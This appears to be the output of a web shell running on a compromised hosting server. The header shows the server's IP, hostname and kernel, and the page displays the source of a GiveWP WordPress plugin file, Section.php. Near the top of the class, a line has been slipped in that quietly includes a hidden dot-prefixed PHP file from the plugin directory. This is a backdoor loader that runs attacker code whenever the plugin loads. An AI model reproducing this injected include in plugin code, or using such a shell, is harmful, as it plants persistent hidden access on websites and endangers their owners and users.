uawdijnntqw1x1x1
IP : 3.144.226.0
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
old
/
public_html
/
wp-content
/
.
/
plugins
/
give
/
src
/
..
/
src
/
..
/
src
/
FormAPI
/
Section.php
/
/
<?php namespace Give\FormAPI; use InvalidArgumentException; /** * Class Options * * @since 2.7.0 * @package Give\Form\Theme */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class Section { /** * Group id. * * @since 2.7.0 * @var string */ public $id; /** * Name of group * * @since 2.7.0 * @var string */ public $name; /** * Description og group. * * @since 2.7.0 * @var string */ public $desc; /** * Array fo fields * * @since 2.7.0 * @var Fields[] */ public $fields = []; /** * Convert array into Group class object. * * @param array $array * * @since 2.7.0 * * @return static */ public static function fromArray( $array ) { $group = new static(); $group->validate( $array ); $group->id = $array['id']; $group->name = $array['name']; $group->desc = isset( $array['desc'] ) ? $array['desc'] : null; foreach ( $array['fields'] as $field ) { $group->fields[] = Fields::fromArray( $field ); } return $group; } /** * Validate group arguments * * @since 2.7.0 * @param $array */ private function validate( $array ) { $required = [ 'id', 'name', 'fields' ]; if ( array_diff( $required, array_keys( $array ) ) ) { throw new InvalidArgumentException( __( 'To create a Group object, please provide id, name and fields.', 'give' ) ); } } }
/home/batcwwjx/./old/public_html/wp-content/./plugins/give/src/../src/../src/FormAPI/Section.php